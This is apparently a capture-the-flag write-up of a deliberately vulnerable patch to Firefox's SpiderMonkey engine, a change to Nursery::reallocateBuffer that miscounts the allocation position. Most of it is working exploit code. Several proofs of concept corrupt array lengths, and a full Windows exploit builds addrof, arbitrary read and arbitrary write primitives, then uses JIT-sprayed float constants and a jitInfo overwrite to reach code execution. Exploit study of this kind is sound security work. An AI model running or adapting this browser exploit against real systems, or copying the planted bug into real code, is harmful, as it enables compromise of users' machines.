# Patch ``` From 9b75f0de94978a681682cf13d392b0db7fa4161a Mon Sep 17 00:00:00 2001 From: Your Name <you@example.com> Date: Thu, 17 Feb 2022 16:09:17 +0000 Subject: [PATCH] Cool new Implementation --- js/src/gc/Nursery.cpp | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/js/src/gc/Nursery.cpp b/js/src/gc/Nursery.cpp index ef75e814ed..59ac8e5872 100644 --- a/js/src/gc/Nursery.cpp +++ b/js/src/gc/Nursery.cpp @@ -701,12 +701,14 @@ void* js::Nursery::reallocateBuffer(Zone* zone, Cell* cell, void* oldBuffer, return newBuffer; } + void* newBuffer = allocateBuffer(zone, newBytes); + // The nursery cannot make use of the returned slots data. if (newBytes < oldBytes) { + position_ -= oldBytes; return oldBuffer; } - void* newBuffer = allocateBuffer(zone, newBytes); if (newBuffer) { PodCopy((uint8_t*)newBuffer, (uint8_t*)oldBuffer, oldBytes); } -- 2.20.1 ``` # Understanding the patch The patch is in `js::Nursery::reallocateBuffer`. In order to understand how to hit this code, I fuzzed the spidermonkey a little. After fuzzing, I found out that this code is used when reallocating an array, for example by shortening its length. The main patched code is: ``` + void* newBuffer = allocateBuffer(zone, newBytes); + // The nursery cannot make use of the returned slots data. if (newBytes < oldBytes) { + position_ -= oldBytes; return oldBuffer; } - void* newBuffer = allocateBuffer(zone, newBytes); ``` A `newBuffer` is brought forward the if branch and allocated. In the `if branch` where `newBytes < oldBytes`, it will always return `oldbuffer`. This kind of makes sense because if the `oldbuffer` is larger than the `newbuffer` (the new array size is smaller than the old array size), there is enough space for the new array. Hence there is no need to reallocate and use a `newbuffer` for it. The patch also decreases this `position` value, and it is probably something that is used for allocation for other buffers. Looking around this file, I understand that position is used in `js::nursery::allocate` and it is returned as the allocated address. For example when we allocate a new buffer, it will hit `js::nursery::allocate` and the `position` value is returned as its address. You can refer to the appendix section at the end on `Where is position used` if interested. # The bug The `position` value is decreased by the size of the `oldbytes`, but the `newbuffer` allocated is actually smaller than that! This is the exploitation scenario I imagine: 1) Allocate `buffer_a` of 0x50. 2) Resize `buffer_a` to a smaller size. This will cause the `position` to decrease by the oldbytes. 3) Allocate `buffer_b` and hope it lands within `buffer_a`. With some trial and error and more arrays initialized, the above scenario is possible! Below is a very simple POC ## Simple POC with Comments Note that the heap layout differs a little across revision and across local and remote. Refer to the `Simple Remote POC` if you just want a working copy, else it will be a good exercise to write it yourself. ``` array_vuln = new Array(0x50); array_vuln[0x50] = 1; OOB_Array = new Array(0x50); //[1] initialize this array OOB_Array[0x4F] = 1.1; OOB_Array.a = 1.1; OOB_Array.b = 1.1; //[2] repeatedly trigger the bug for (var i = 0x50; i > 2; i--){ array_vuln.length = i; } //[3] corrupted_array2 and corrupted_array3 will end up within OOB_Array element area corrupted_array2 = new Array(10); corrupted_array3 = new Array(10); //[4] now OOB_Array[1] controls corrupted_array3 var corrupted_array3_elem_ptr = ftoi(OOB_Array[1]); console.log("corrupted_array3_elem_ptr = " +corrupted_array3_elem_ptr.toString(16)); //[5] corrupt corrupted_array3's length and capacity OOB_Array[2] = itof(0x4141414141414141n); OOB_Array[3] = itof(0x4141414141414141n); console.log("Corrupted_array3.length = " +(corrupted_array3.length).toString(16)); //[6] Continue exploit with corrupted_array3! /* ... */ ``` Added the comments to the POC. I will put some diagrams here. Running the above gives me this: ``` Starting javascript! Addr of array: 7cb3a100e58 Addr of array_vuln: 7cb3a100798 Addr of array_vuln: 7cb3a100798 Addr of OOB_Array: 7cb3a100e58 Addr of corrupted_array2: 7cb3a100e08 Addr of corrupted_array3: 7cb3a100e88 corrupted_array3_elem_ptr = 7cb3a100eb0 Corrupted_array3.length = 41414141 js> ``` We are only concerned with `OOB_Array` and `corrupted_array3`. ![](https://i.imgur.com/G2YKWrM.png) `Corrupted_array3` is actually within `OOB_Array`! ``` 000007cb3a100e58 00002bde41d68220 ---> OOB_Array 000007cb3a100e60 000007cb3a101128 000007cb3a100e68 000007cb3a100e90 ---> element pointer (points to the start of the array) 000007cb3a100e70 0000000000000001 ---> OOB_Array's capacity (i think?) 000007cb3a100e78 0000005000000000 ---> OOB_Array's length 000007cb3a100e80 0000021c00c32ff0 000007cb3a100e88 00002bde41d60ec0 ---> corrupted_array3 000007cb3a100e90 00007ff6421424a8 000007cb3a100e98 000007cb3a100eb0 000007cb3a100ea0 4141414141414141 ---> corrupted_array3's capacity and also OOB_Array[2] 000007cb3a100ea8 4141414141414141 ---> corrupted_array3's length and also OOB_Array[3] 000007cb3a100eb0 fffa800000000000 000007cb3a100eb8 fffa800000000000 000007cb3a100ec0 fffa800000000000 000007cb3a100ec8 fffa800000000000 000007cb3a100ed0 fffa800000000000 000007cb3a100ed8 fffa800000000000 000007cb3a100ee0 fffa800000000000 000007cb3a100ee8 fffa800000000000 000007cb3a100ef0 fffa800000000000 000007cb3a100ef8 fffa800000000000 ``` ### Simple POC [2] Because of some heap stuff (which i am lazy to adjust), this is actually the simple poc that works. ``` function addrof(obj){ return (objectAddress(obj)); } array_vuln = new Array(0x50); array_vuln[0x50] = 1; OOB_Array = new Array(0x50); OOB_Array[0x4F] = 1.1; //initialize this guy value OOB_Array.a = 1.1; OOB_Array.b = 1.1; console.log("Addr of array: " +addrof(OOB_Array)); console.log("Addr of array_vuln: " +addrof(array_vuln)); for (var i = 0x50; i > 2; i--){ array_vuln.length = i; } //corrupted_array2 and corrupted_array3 will end up within OOB_Array element area corrupted_array2 = new Array(10); corrupted_array3 = new Array(10); console.log("Addr of array_vuln: " +addrof(array_vuln)); console.log("Addr of OOB_Array: " +addrof(OOB_Array)); console.log("Addr of corrupted_array2: " +addrof(corrupted_array2)); console.log("Addr of corrupted_array3: " +addrof(corrupted_array3)); function ftoi(val) { f64_buf[0] = val; return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n); } function itof(val) { u64_buf[0] = Number(val & 0xffffffffn); u64_buf[1] = Number(val >> 32n); return f64_buf[0]; } //helper arrays var buf = new ArrayBuffer(8); var f64_buf = new Float64Array(buf); var u64_buf = new Uint32Array(buf); var corrupted_array3_elem_ptr = ftoi(OOB_Array[1]); console.log("corrupted_array3_elem_ptr = " +corrupted_array3_elem_ptr.toString(16)); OOB_Array[2] = itof(0x4141414141414141n); OOB_Array[3] = itof(0x4141414141414141n); console.log("Corrupted_array3.length = " +(corrupted_array3.length).toString(16)); ``` # Simple Remote POC ``` function addrof(obj){ return (objectAddress(obj)); } array_vuln = new Array(0x50); array_vuln2 = new ArrayBuffer(0x50); console.log("Readjusting 1"); array_vuln[0x50] = 1; OOB_Array = new Array(0x50); OOB_Array[0x4F] = 1.1; //initialize this guy value OOB_Array.a = 1.1; OOB_Array.b = 1.1; console.log("Addr of array: " +addrof(OOB_Array)); console.log("Addr of array_vuln: " +addrof(array_vuln)); for (var i = 0x50; i > 2; i--){ array_vuln.length = i; array_vuln2.length = i; } corrupted_array2 = new Array(10); corrupted_array3 = new Array(10); target_uint32arr = new BigUint64Array(0x138); target_dv = new DataView(target_uint32arr.buffer); target_dv.setBigUint64(0,0x4141414141414141n); target_dv.setBigUint64(8,0x4141414141414141n); console.log("Addr of array_vuln: " +addrof(array_vuln)); console.log("Addr of array_vuln2: " +addrof(array_vuln2)); console.log("Addr of OOB_Array: " +addrof(OOB_Array)); console.log("Addr of corrupted_array2: " +addrof(corrupted_array2)); console.log("Addr of corrupted_array3: " +addrof(corrupted_array3)); console.log("Addr of target_uint32arr: " +addrof(target_uint32arr)); console.log("Addr of target_dv: " +addrof(target_dv)); function ftoi(val) { f64_buf[0] = val; return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n); } function itof(val) { u64_buf[0] = Number(val & 0xffffffffn); u64_buf[1] = Number(val >> 32n); return f64_buf[0]; } var buf = new ArrayBuffer(8); var f64_buf = new Float64Array(buf); var u64_buf = new Uint32Array(buf); var corrupted_array2_elem_ptr = ftoi(OOB_Array[5]); console.log("corrupted_array2_elem_ptr = " +corrupted_array2_elem_ptr.toString(16)); OOB_Array[6] = itof(0x4141414141414141n); OOB_Array[7] = itof(0x4141414141414141n); console.log("Corrupted_array2.length = " +(corrupted_array2.length).toString(16)); ``` # What's next? Once you got an corrupted_array with crazy length, the rest of the exploitation is simple. Below are some really good references: 1) https://www.sentinelone.com/labs/firefox-jit-use-after-frees-exploiting-cve-2020-26950/ 2) https://doar-e.github.io/blog/2018/11/19/introduction-to-spidermonkey-exploitation/ In order to extend our primitives, I initialize a TypedArray and control its element pointer. `https://doar-e.github.io/blog/2018/11/19/introduction-to-spidermonkey-exploitation/#the-vulnerability` already explained it pretty well. For references below, `corrupted_array3` is the out-of-bound array that can control everything, and `target_dv` is the dataview of the TypedArray. With that done, we can get all our necessary primitives: 1) Addrof primitive (written as `real_addrof` in exploit) - Technically, we shouldn't have access to spidermonkey builtin `objectAddress` command. So we need a addrof primitive that gives us the address of an object. - This is achieved by putting the object you are interested in at `corrupted_array3[0]`. - Use `corrupted_array3` to overwrite element pointer of `target_dv` to point to `corrupted_array3[0]` - Read from `target_dv` which will read the object 2) Arbitrary read primitive (written as `arb_read` in exploit) - Overwrite `target_dv` element pointer to the address we want to read - Read from `target_dv` 3) Arbitrary write primitive (written as `arb_write` in exploit) - Overwrite `target_dv` element pointer to the address we want to write - Write from `target_dv` After achieving all the primitives above, use `BYOG` technique (refer to maxsploit writeup) and get code execution! # Full POC that works on Windows Not sure if the POC is revision specific, but if it does not work, refer to my revisions in the Appendix. ``` function shellcode(){ //find_me = 5.40900888e-315; // 0x41414141 in memory find_me = 2261634.5098039214; A = -6.828527034422786e-229; // 0x9090909090909090 B = -6.82852703442287383018567816223E-229; C = -6.82852703444536928239411262655E-229; D = -6.82852704020420504775333549305E-229; E = -6.82852851446616097971438931699E-229; F = -6.82890592552687956174416824491E-229; G = -6.92552315707083656136757379246E-229; //B = 8.568532312320605e+170; //C = 1.4813365150669252e+248; //D = -6.032447120847604e-264; //E = -6.0391189260385385e-264; //F = 1.0842822352493598e-25; //G = 9.241363425014362e+44; //H = 2.2104256869204514e+40; //I = 2.4929675059396527e+40; //J = 3.2459699498717e-310; //K = 1.637926e-318; } for(i = 0;i < 0x5000; i++) shellcode(); console.log("Starting javascript!"); function addrof(obj){ return (objectAddress(obj)); } array_vuln = new Array(0x50); array_vuln[0x50] = 1; OOB_Array = new Array(0x50); OOB_Array[0x4F] = 1.1; //initialize this guy value OOB_Array.a = 1.1; OOB_Array.b = 1.1; console.log("Addr of array: " +addrof(OOB_Array)); console.log("Addr of array_vuln: " +addrof(array_vuln)); for (var i = 0x50; i > 2; i--){ array_vuln.length = i; } //corrupted_array2 and corrupted_array3 will end up within OOB_Array element area corrupted_array2 = new Array(10); corrupted_array3 = new Array(10); console.log("Addr of array_vuln: " +addrof(array_vuln)); console.log("Addr of OOB_Array: " +addrof(OOB_Array)); console.log("Addr of corrupted_array2: " +addrof(corrupted_array2)); console.log("Addr of corrupted_array3: " +addrof(corrupted_array3)); function ftoi(val) { f64_buf[0] = val; return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n); } function itof(val) { u64_buf[0] = Number(val & 0xffffffffn); u64_buf[1] = Number(val >> 32n); return f64_buf[0]; } var buf = new ArrayBuffer(8); var f64_buf = new Float64Array(buf); var u64_buf = new Uint32Array(buf); //for (var i = 0; i < 0x10; i++){ // console.log("OOB_Array's leak: " +(ftoi(OOB_Array[i]).toString(16))); //} //Modifying OOB_Array[3] will corrupt corrupted_array3's length var corrupted_array3_elem_ptr = ftoi(OOB_Array[1]); console.log("corrupted_array3_elem_ptr = " +corrupted_array3_elem_ptr.toString(16)); OOB_Array[2] = itof(0x4141414141414141n); OOB_Array[3] = itof(0x4141414141414141n); console.log("Corrupted_array3.length = " +(corrupted_array3.length).toString(16)); var victimBuf = new ArrayBuffer(8); target_uint32arr = new BigUint64Array(0x137); target_dv = new DataView(target_uint32arr.buffer); target_dv.setBigUint64(0,0x4141414141414141n); target_dv.setBigUint64(8,0x4141414141414141n); console.log("Addr of target_uint32arr: " +addrof(target_uint32arr)); console.log("Addr of target_dv: " +addrof(target_dv)); for (var i = 0; i < 0x200; i++){ //console.log((ftoi(corrupted_array3[i])).toString(16)); if(((ftoi(corrupted_array3[i])).toString(16)) == "137"){ idx = i; console.log("Found array buffer @ corrupted_array3[" ,idx,"]"); break; } } var victimBuf_elem_ptr_idx = idx + 2 var original_victimBuf_elem_ptr = ftoi(corrupted_array3[victimBuf_elem_ptr_idx]); console.log("original_victimBuf_elem_ptr = " +original_victimBuf_elem_ptr.toString(16)); for (var i = victimBuf_elem_ptr_idx+2; i < 0x200; i++){ //console.log((ftoi(corrupted_array3[i])).toString(16)); if(((ftoi(corrupted_array3[i])).toString(16)) == original_victimBuf_elem_ptr.toString(16)){ new_idx = i; console.log("Found data view @ corrupted_array3[" ,new_idx,"]"); break; } } function real_addrof(obj){ corrupted_array3[0] = obj; corrupted_array3[new_idx] = itof(corrupted_array3_elem_ptr); var address = target_dv.getBigUint64(0,true); corrupted_array3[new_idx] = itof(original_victimBuf_elem_ptr); return address; } function arb_read(addr){ corrupted_array3[new_idx] = itof(addr); var content = target_dv.getBigUint64(0,true); corrupted_array3[new_idx] = itof(original_victimBuf_elem_ptr); return content; } function arb_write(addr, value){ corrupted_array3[new_idx] = itof(addr); var content = target_dv.setBigUint64(0, value, true); corrupted_array3[new_idx] = itof(original_victimBuf_elem_ptr); return content; } var obj = {}; var obj_addr = real_addrof(obj) & 0x0000FFFFFFFFFFFFn; console.log("Obj address = ", obj_addr.toString(16)); shellcode_addr = real_addrof(shellcode) & 0x0000FFFFFFFFFFFFn; console.log("[+] Function is at: " + shellcode_addr.toString(16)); jitinfo = arb_read((shellcode_addr + 0x28n)); // JSFunction.u.native.extra.jitInfo_ console.log("[+] jitinfo: " + jitinfo.toString(16)); rx_region = arb_read((jitinfo)); // rx console.log("[+] rx_region: " + rx_region.toString(16)); for (var i = 0; i < 0x800; i = i + 8){ data = arb_read(rx_region + BigInt(i)); if (data == 0x4141414141414141n){ console.log("Found nop sled @ " ,(rx_region + BigInt(i)).toString(16)); nop_sled_addr = rx_region + BigInt(i+8); break; } } arb_write(jitinfo, nop_sled_addr); console.log("[*] Triggering...") shellcode(); ``` # Appendix ## Where is position used? ``` inline void* js::Nursery::allocate(size_t size) { MOZ_ASSERT(isEnabled()); MOZ_ASSERT(!JS::RuntimeHeapIsBusy()); MOZ_ASSERT(CurrentThreadCanAccessRuntime(runtime())); MOZ_ASSERT_IF(currentChunk_ == currentStartChunk_, position() >= currentStartPosition_); MOZ_ASSERT(position() % CellAlignBytes == 0); MOZ_ASSERT(size % CellAlignBytes == 0); #ifdef JS_GC_ZEAL if (gc->hasZealMode(ZealMode::CheckNursery)) { size += sizeof(Canary); } #endif if (MOZ_UNLIKELY(currentEnd() < position() + size)) { return moveToNextChunkAndAllocate(size); } void* thing = (void*)position(); printf("Allocate: old position = %p\n", position_); position_ = position() + size; printf("Allocate: new position = %p\n", position_); // We count this regardless of the profiler's state, assuming that it costs // just as much to count it, as to check the profiler's state and decide not // to count it. stats().noteNurseryAlloc(); DebugOnlyPoison(thing, JS_ALLOCATED_NURSERY_PATTERN, size, MemCheckKind::MakeUndefined); #ifdef JS_GC_ZEAL if (gc->hasZealMode(ZealMode::CheckNursery)) { writeCanary(position() - sizeof(Canary)); } #endif return thing; } ``` Position is used in `js::Nursery::Allocate`. It is essentially the starting point of where the heap is. ## The revision it works ``` $ hg log changeset: 694484:d0771d3e5261 bookmark: autoland tag: tip user: Thomas Wisniewski <twisniewski@mozilla.com> date: Tue Jun 21 12:36:18 2022 +0000 summary: Bug 1775126 - fix a structured-cloning failure in the webcompat report-site-issue feature, and update and re-enable its tests; r=denschub,webcompat-reviewers changeset: 694483:60e7202282a8 user: Timothy Nikkel <tnikkel@gmail.com> date: Tue Jun 21 11:46:07 2022 +0000 summary: Bug 1775237. Let progressive background images ride the trains. r=aosmond ```